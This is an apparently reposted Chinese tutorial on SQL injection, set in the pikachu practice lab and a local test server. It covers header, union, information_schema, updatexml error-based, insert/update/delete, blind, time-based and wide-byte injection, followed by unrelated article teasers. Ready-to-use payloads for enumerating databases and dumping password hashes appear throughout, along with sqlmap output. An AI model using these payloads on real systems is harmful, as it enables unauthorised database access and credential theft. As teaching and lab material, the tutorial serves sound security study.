OWASP top10--SQL注入(二)

目录

06:SQL注入提交方式

6.1、get提交

6.2、post提交

6.3、cookie提交

6.4、HTTP Header头提交

07:注入攻击支持类型

7.1、union注入:

7.1.1、union操作符一般与order by语句配合使用

7.1.2、information_schema注入

7.2、基于函数报错注入(insert、update、dalete)

7.2.1、insert注入

 7.2.2、update注入

7.2.3、dalete注入

7.3、盲注

7.3.1、基于布尔型SQL盲注 

 7.3.2、基于时间型SQL盲注

7.4、堆叠注入

7.5、宽字节注入(特殊)


06:SQL注入提交方式

6.1、get提交

地址栏可以看见参数

6.2、post提交

通过burp抓包(参数在请求体里)

6.3、cookie提交

通过burp抓包(参数写到cookie里)

6.4、HTTP Header头提交

请求头为:Referer、Accept、User-Agent、Cookie等

User-Agent注入

打开pikachu靶场环境;选择http头注入:

http://10.0.0.101:90/pikachu/vul/sqli/sqli_header/sqli_header.php

输入账户admin密码123456--用bp抓包拦截找到登陆地GET请求--发到bp重发器(Repeater)

 请求包内容:

GET /pikachu/vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 10.0.0.101:90
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.0.0.101:90/pikachu/vul/sqli/sqli_header/sqli_header_login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; 4unT_2132_lastvisit=1715954790; 4unT_2132_ulastactivity=bbe7dShKgYKRaBrRbwkvKSunwF6na%2B4Ow0kVNoUVHsSdR0D2Ii4f; 4unT_2132_visitedfid=2; 4unT_2132_smile=1D1; sitekeyword=%3Ca+href%3D%27http%3A%2F%2Fx%2E5vshop%2Ecom%27%3E5vShop%C8%FD%BA%CF%D2%BB%B5%E7%C9%CC%CF%B5%CD%B3%C9%CF%CA%D0%21%21%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%3Ca+href%3D%27show%2Easp%3Fpkid%3D4929%27%3E%C3%C9%CC%D8%CB%B9%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%3Ca+href%3D%27productlist%2Easp%3Fkind%3D00030008%27%3E%D6%D0%B5%CD%B6%CB%C3%C0%BE%C6%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%26nbsp%3B; PHPSESSID=8a0a2bc60593dcc8a0e5cc4c8bbda840
Connection: close

漏洞探测:去除User-Agent:内容,然后输入' 运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。

'

在User-Agent输入payload :(尝试获取数据库的信息)

Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '

 成功sql注入:

查看源代码:

//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];

//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);

 注:发现User-Agent头未做过滤,直接带入数据库,产生SQL注入漏洞。


07:注入攻击支持类型

7.1、union注入:

7.1.1、union操作符一般与order by语句配合使用

union操作符一般与order by语句配合使用(id=1 order by 5 测是否有5个字段)
如:
a' order by 4#%    --判断主查询的字段,报错没有4个字段
a' order by 3#%    --判断主查询的字段,没报错有3个字段
a' union select database(),user(),version()#%  
--通过union select查询:
--database(): MySQL函数,返回当前数据库的名称。
--user(): 获取当前连接的用户名。
--version(): 显示MySQL服务器的版本信息。

注入方式查询:

sqlmap工具、mysql靶场环境

http://10.0.0.101:90/mysql/sql.php?id=1

注入方式查询方法:sqlmap.py(cmd运行程序,需python2.7.9)
sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1
输出如下:
---
Place: GET    --提交方式
Parameter: id     --注入点
    Type: boolean-based blind    --布尔型注入
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7911=7911   --注入方式
(注入方式即http://10.0.0.101:90/mysql/sql.php?id=1 AND 7911=7911)

    Type: UNION query         --联合查询型
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#  

    Type: AND/OR time-based blind       --时间型注入
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)     --注入方式
---

使用sqlmap工具,原查询内容: 

C:\lan\sqlmap>sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 20:05:01

[20:05:01] [INFO] resuming back-end DBMS 'mysql'
[20:05:01] [INFO] testing connection to the target URL
[20:05:01] [INFO] heuristics detected web page charset 'GB2312'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7911=7911

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---
[20:05:01] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[20:05:01] [INFO] fetched data logged to text files under 'C:\lan\sqlmap\output\10.0.0.101'

[*] shutting down at 20:05:01


C:\lan\sqlmap>

 union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果 

如:打开pikachu靶场,输入以下内容:

v' union select username,pw from member where id=1#%

报错: 

 因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。

 输入a' order by 4#%,反馈如图:

 输入a' order by 3#%,反馈如图: 

通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句:

a' union select database(),user(),version()#%  

成功读取数据库内容:

例2:

http://10.0.0.101:90/mysql/sql.php?id=1 union select 1,user(),3,4
输出:
用户ID: 1
用户名: root@localhost    --user()的输出内容
用户密码: 3
用户邮箱: 4 

 

 


7.1.2、information_schema注入

information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息


通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。

information_schema库-TABLES 表-TABLE_SCHEMA为pikaqiu的行

 找出数据库的名称,输入 vince' union select database(),user(),3#% 得到反馈,判断数据库名称为pikachu。
--vince是表名或用户名的一部分。

 获取pikachu数据库的表名,输入

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

获取pikachu数据库的字段名,输入: k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#% 

 最后获取字段值的内容,输入:kobe'union select username ,password,3 from users#%

输出值如:

username:admin
uid:e10adc3949ba59abbe56e057f20f883e    --密码可以通过cmd5在线解密;为123456
email is: 3


7.2、基于函数报错注入(insert、update、dalete)

updatexml()       --函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue()    --函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor()           --MYSQL中用来取整的函数.

1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4、爆表
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示:
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
5、爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段内容
k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)# 

7.2.1、insert注入

insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
----
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload
格式如下:oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
1. 爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
3. 爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

 7.2.2、update注入

与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用户注册端。
---
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,格式如下:' or updatexml(0,concat(0x7e,(database())),0) or'

7.2.3、dalete注入

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0) 


7.3、盲注

7.3.1、基于布尔型SQL盲注 

基于布尔型SQL盲注
步骤:
采用sql语句中and的方法,返回正确或错误来构造,按照之前的思路构造一个SQL拼接:
vince' and extractvalue(0,concat(0x7e,version()))#
--根据返回的信息判断此思路不再适用。


select ascii(substr(database(),1,1))>xx;
--过对比ascii码的长度,判断出数据库表名的第一个字符。
--substr()函数;substr(string,start,length);string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。
select length(database())<xx
--同样可以使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。


vince' and ascii(substr(database(),1,1))=112#
--通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。可以使用sqlmap等工具来增加盲注的效率。
--substr(database(),1,1): 这个函数用于提取database()函数返回值的第一个字符,其中database()函数通常用来获取当前使用的数据库名称。
--ascii(): 此函数用于将字符转换为其ASCII码。因此,ascii(substr(database(),1,1)) 是获取数据库名称首字母的ASCII码。
---'vince': 这是一个字符串字面量。
--=112: 这是一个比较操作符,用于判断数据库名称首字母的ASCII码是否等于112(小写字母'p'的ASCII码)。

--# 符号:在某些SQL环境中,这个符号用于注释掉一行剩余的部分。

 7.3.2、基于时间型SQL盲注

基于时间型SQL盲注
2种方法:
vince' and sleep(x)#
--vince' and sleep(20)#
--sleep(x): 这是一个典型的延时函数调用,在MySQL数据库中常见。sleep(x)会使数据库服务器暂停执行接下来的操作x秒。

WAITFOR DELAY '0:0:5'--
--WAITFOR DELAY '0:0:5': 这是SQL Server中的一个命令,用于使当前的数据库连接等待指定的时间。在这个例子中,它让数据库等待5秒钟(0:0:5表示0小时0分钟5秒)。攻击者利用此命令来实现与上述sleep(x)类似的目的,即验证SQL注入漏洞的存在,并通过观察响应延迟来确认。
-- [--:这是SQL Server中的单行注释符号。跟在它后面的所有内容都将被视为注释,不再执行。]

 


7.4、堆叠注入

参考:https://www.cnblogs.com/0nth3way/articles/7128189.html


7.5、宽字节注入(特殊)

当我们把php.ini文件里面的magic_quotes_gqc(魔术引号)参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。

 

注入流程:

如http://10.0.0.101/custom.asp?id=1
查找注入点:
存在参数id=1,可能与数据库交互,可能存在漏洞.
手工测试:尝试在id后加入单引号(')或双连字符(--),观察页面反馈是否异常,如错误信息透露了数据库结构或查询失败。

sqlmp工具跑注入

 打开网站,寻找带有参数的页面

尝试注入点  

方式一:’
方式二:and 1=1        and 1=2

 单引号报错

 and 1=2报错


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/647210.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

AIGC语音交互

目录 一、总体介绍 二、环境设置与安装 三、语音识别 四、语音合成 五、GPT调用 六、信息关系 七、实现效果 一、总体介绍 达成效果&#xff1a;在ROS系统中实现用户语音提问得到智能语音回答 用到的技术&#xff1a;科大讯飞的语音识别、语音合成 GPT 操作系统&#x…

顶顶通呼叫中心中间件-自动外呼输入分机号(比如隐私号)(mod_cti基于FreeSWITCH)

顶顶通呼叫中心中间件-自动外呼输入分机号(比如隐私号)(mod_cti基于FreeSWITCH) 比如有些人的号码是这样的就需要用上自动外呼输入分机号了 号码1&#xff1a;182XXXX8111-1234 号码2&#xff1a;182XXXX8222 如果号码是这样的就根据以下步骤配置 注意使用这个需要&#xff1a;…

web如何做接口层面自动化测试?

接口层面约等于集成化测试&#xff0c;且需要启动web容器 一般web项目的&#xff0c;代码都是按照分层开发的&#xff0c;业务主要是集中在service和dao层&#xff0c;而我们如果仅仅是利用之前的单元测试,然后把依赖的代码直接mock掉&#xff0c;仅仅测试controller这一块是没…

如何将前端项目打包并部署到不同服务器环境

学习源码可以看我的个人前端学习笔记 (github.com):qdxzw/frontlearningNotes 觉得有帮助的同学&#xff0c;可以点心心支持一下哈&#xff08;笔记是根据b站尚硅谷的前端讲师【张天禹老师】整理的&#xff0c;用于自己复盘&#xff0c;有需要学习的可以去b站学习原版视频&…

【Spring】深入理解 Spring 状态机:简化复杂业务逻辑的利器

前言 在软件开发中&#xff0c;有许多场景需要处理状态转换和状态驱动的逻辑&#xff0c;比如订单处理、工作流程管理、游戏引擎等。Spring 状态机&#xff08;Spring State Machine&#xff09;是 Spring Framework 提供的一个强大的模块&#xff0c;用于帮助开发人员轻松构建…

计算机网络 1

两台主机想通信&#xff0c;其实本质就是两个文件的资源交换&#xff0c;但是长距离的通信&#xff0c;面临的是很多的问题。这个时候需要通过一些方式来保证可靠性 什么是协议 这样一个例子&#xff0c;我是住在农村&#xff0c;我读高中了我需要去县里面读书。这个时候呢&…

01.并发编程简介

1 什么是并发编程 所谓并发编程是指在一台处理器上“同时”处理多个任务。并发是在同一实体上的多个事件。多个事件在同一时间间隔发生。 2 为什么我们要学习并发编程&#xff1f; 最直白的原因就是因为面试需要&#xff0c;大厂的 Java 岗的并发编程能力属于标配。 而在非大厂…

基于长短期记忆网络 LSTM 的送餐时间预测

前言 系列专栏:【深度学习&#xff1a;算法项目实战】✨︎ 涉及医疗健康、财经金融、商业零售、食品饮料、运动健身、交通运输、环境科学、社交媒体以及文本和图像处理等诸多领域&#xff0c;讨论了各种复杂的深度神经网络思想&#xff0c;如卷积神经网络、循环神经网络、生成对…

Java进阶学习笔记30——BigDecimal

BigDecimal&#xff1a; 用于解决浮点型运算的&#xff0c;出现结果失真的问题。 运行结果&#xff1a; package cn.ensource.d4_bigdecimal;import java.math.BigDecimal;public class Test {public static void main(String[] args) {// 目标&#xff1a;了解BigDecimal类do…

科林Linux5_线程

一、线程基础 进程是操作系统经典的执行任务的生产力。 进程是最小的资源分配单位&#xff0c;进程的内存开销较大&#xff0c;在内存资源不变的情况下&#xff0c;提高进程的执行能力&#xff08;生产力&#xff09; 线程寄存在进程中&#xff0c;与进程共享资源&#xff0…

泛型...

定义&#xff1a;在编译过程中约束操作的数据类型。&#xff08;统一数据类型&#xff09; 格式&#xff1a;<数据类型> 泛型中不能写基本数据类型。 泛型类 在一个类中&#xff0c;某个变量的数据类型不确定时&#xff0c;可以定义带有泛型的类。 泛型的底层是Obje…

Java 泛型基础

目录 1. 为什么使用泛型 2. 泛型的使用方式 2.1. 泛型类 2.2. 泛型接口 2.3. 泛型方法 3. 泛型涉及的符号 3.1. 类型通配符"?" 3.2. 占位符 T/K/V/E 3.3. 占位符T和通配符&#xff1f;的区别。 4. 泛型不变性 5. 泛型编译时擦除 1. 为什么使用泛型 Java 为…

Pandas 模块-操纵数据(12)-处理字符串数据

目录 1. .str 模块 1.1 数据准备 1.2 .str 函数详解 1.2.1 .str capitalize() 首字母大写 1.2.2 .str casefold() 返回字符串的副本 1.2.3 .str cat() 连接输出 1.2.4 .str center(width[,fillchar]) 字符串居中 1.2.5 .str contains() 含有特定字符 1.2.6 .str count() 计…

【代码随想录——回溯算法二周目】

1. 组合总和 var (path []intres [][]int )func combinationSum(candidates []int, target int) [][]int {path make([]int, 0)res make([][]int, 0)dfs(candidates,target,0,0)return res }func dfs(candidates []int, target int,tempTarget int,start int) {if tempTarg…

【Xilinx】常用的全局时钟资源相关Xilinx器件原语

1 概述 常用的与全局时钟资源相关的Xilinx器件原语包括&#xff1a; IBUFGIBUFGDS、OBUFGDS 和 IBUFDS、OBUFDSBUFGBUFGPBUFGCEBUFGMUXBUFGDLLIBUFDS_GTXE1IBUFDS_GTE2IBUFDS_GTE3OBUFDS_GTE3IBUFDS_GTE4OBUFDS_GTE4DCM 刚开始看到这写源语&#xff0c;免不了好奇这些源语对应的…

网络空间安全数学基础·群

重点&#xff1a; 1. 群及子群的定义及相关结论 2. 群的判断,子群的判断 3. 群的阶,元素的阶,它们的相互关系 4. 同态,同构,核子群 2.1群的定义 定义&#xff1a;设G是一非空集合。如果在G上定义了一个代数运算&#xff0c;称为乘法&#xff0c;记为ab&#xff0c;而且这个运…

Ubuntu18.04 OpenSSH升级

升级前版本&#xff1a; rootecs-m2eqyb:/opt# ll total 20912 drwxr-xr-x 2 root root 4096 May 10 16:23 ./ drwxr-xr-x 24 root root 4096 May 10 14:38 ../ -rw-r--r-- 1 root root 1848766 May 10 16:23 openssh-9.7p1.tar.gz -rw-r--r-- 1 root root 18038…

程序包org.springframework.boot不存在

springBoot项目启动报错 程序包org.springframework.boot不存在 1、检查依赖 首先检查pom文件判断依赖是否存在 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter</artifactId><version>2.4.5…

二维前缀和

我们计算一维前缀和时的得心应手&#xff0c;但是到二维前缀和就有点力不从心了&#xff0c;这里总结了一下规律&#xff1a; 计算二维前缀和时我喜欢从下标为1的时候开始&#xff1a; per[i][j]per[i][j-1]per[i-1][j]-per[i-1][j-1]a[i][j]; i表示行&#xff0c;j表示列,i和…

嵌入式进阶——舵机控制PWM

&#x1f3ac; 秋野酱&#xff1a;《个人主页》 &#x1f525; 个人专栏:《Java专栏》《Python专栏》 ⛺️心若有所向往,何惧道阻且长 文章目录 舵机信号线代码示例初始化PWM初始化UART打印日志初始化外部中断Extimain函数 舵机最早用于船舶上实现转向功能,由于可以通过程序连…